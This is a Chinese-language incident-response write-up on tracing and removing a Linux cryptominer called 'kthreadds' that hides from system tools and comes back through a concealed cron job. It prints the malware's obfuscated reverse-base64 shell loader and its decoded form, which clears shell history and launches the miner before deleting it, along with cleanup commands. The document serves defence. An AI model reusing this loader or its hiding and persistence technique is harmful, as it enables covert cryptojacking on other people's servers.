运维同事反馈电脑可能中病毒了,有个 kthreadds 进程的内存和 cpu 使用异常,远程连上服
务器后我用 top 和 ps 命令查看 kthreadds 发现是系统 2 号进程,百度了一下,作用是管理
调度的其他内核线程的,没看出哪里异常,cpu 和内存正常。这时候同事发截图给我看,说
用 busybox top 命令可以查看到,top 命令无法看到,这时我才意思到这是个比我处理的其
他挖矿病毒不一样
继续查看发现计划任务多了一个
于是我就百度搜索 kthreadds 挖矿,结果搜索到 《RainbowMiner,一个求生欲极强的挖矿
病毒家族》,https://www.secpulse.com/archives/129686.html,按着这篇文章去处理,却对
不上。
kthreadds 挖矿会隐藏自身信息,系统自带的命令看不到,以下是系统自带命令和 busybox
中的命令结果对比,可能系统命令被替换了
PS 命令
Netstat 命令
外连的这个两个 IP 分别是波兰和法国的
把进程和计划任务删掉,根据经验果然过一会又有了,按《RainbowMiner,一个求生欲极
强的挖矿病毒家族》找不到对应的守护进程,系统的计划任务的目录都打开查了一下也没
有什么发现。挖矿进程起来后没有再杀 kthreadds 进程,去进程目录查看执行文件发现已
被删除
于是想通过 linux 审计程序 auditd 发现一些信息
auditctl -w /var/spool/cron/root -p war
auditctl -w /SYSV00000072 -p rwar
auditctl -w /usr/bin/kthreadds -p rwar
auditctl -w /usr/bin -p rwar
果然还是有所发现的,病毒被杀掉重新跑起来是由计划任务执行的,不是守护进程,连续
试了几次发现基本都是 38 分左右,感觉某个隐藏的计划任务被漏洞了。
于是我查看系统计划任务日志发现是空的,应该是被病毒关掉了,于是开启 rsyslog 服务,
杀掉进程和删除计划任务,在 38 分发现执行了了一个异常的任务而导致后面一系列
找到 clock,发现被锁无法删除,查询一下内容发现是逆序 base64 的 shell 脚本
接着找到了计划任务 0clock ,这个任务之前查询计划任务的时候还打开过,以为是一个与
0hourly 类似的系统任务
Clock 的内容如下:
gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s="
'KwGb152L2VGZv4jMgMHZkFWZyhGdrBSLtAiZy1CItJnCsxWdu9idlR
2L+IDIz5GZkAyckRWYlJHa0t2LuoAbsVnbvYXZk9iPyAibpJ2LyNXdvACZjpAbsVnbvYXZk9iPyAyckRWY
lJHa0t2LulmYvI3c19CIyRXau
l2LulmYvASLtAictAiZtACcjpQampgIk1iI9MnbkBCIgACIgACIKU2csVmCiISPz5GZgACIgACIgAiCuVGa0
BCIgsTXgcCMnACdn1CIpACb
tAyY3BCfgISY0FGZgY2bgMXZ0lnYiACclJ3Z8xGb152L2VGZv4jMg02bj5icthHdy9GcwV3cuw2bvBHIx
AyYtAyZulGcoQCIbBiZppAbsVn
bvYXZk9iPyAiUFNVVFR1TNVkUgQ1UPhURU9UTFJFIUN1TIJVRTVFIH9ETUNVSIBSWS9EVTlESgUkTP
pFVTlESgUkVP1EVTlESgUkVBNFVTl
ESgUETJZEVTlESgQXZz5WdKUGdhRGc1Byaj9GbjBiOu9Wa0BXayN2clRGIjoAM2ACM5ASN0MjMgo
zZpZmbvN2aoNGIjowIK4ibv1WZhRGIr
N2bsNGIlhGdgA3b0N1L0JXY0NFIjowIKg2chJ2LulmYvEyI
'
-d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"
r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U="
|
将脚本解析为正常就一目了然了:
#!/bin/bash
#
# Start/Stop the clock daemon.
#
# chkconfig: 2345 90 60
# description: clock update
unset HISTFILE HISTSAVE HISTMOVE HISTZONE HISTORY HISTLOG USERHOST REMOTEHOST
REMOTEUSER 2>/dev/null
if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
#清除命令痕迹
then
else
dns=""
dns="-d"
fi
cp -f -r -- /bin/initr /usr/bin/kthreadds 2>/dev/null
cd /usr/bin 2>/dev/null
./kthreadds $dns 2>/dev/null
rm -rf -- kthreadds 2>/dev/null
#运行挖矿文件
#删除
#复制重命名挖矿文件
到此发现 /bin/initr 、/etc/cron.d/0clock、/lib/udev/clock
于是通过命令清除该挖矿病毒
rm -rf /bin/intr
rm -rf /etc/cron.d/0clock
chattr -i /lib/udev/clock
rm -rf /lib/udev/clock
sed -i '/kthreadds/d' /var/spool/cron/root
busybox ps -ef|grep kthreadds|grep -v grep|cut -c 1-5|xargs kill -9
清除 kthreadds 还需使用杀软如 clamav 扫描一遍或者择时重装系统
服务器中毒原因:运维人员将 ssh 服务一不小心映射公网,被暴力破解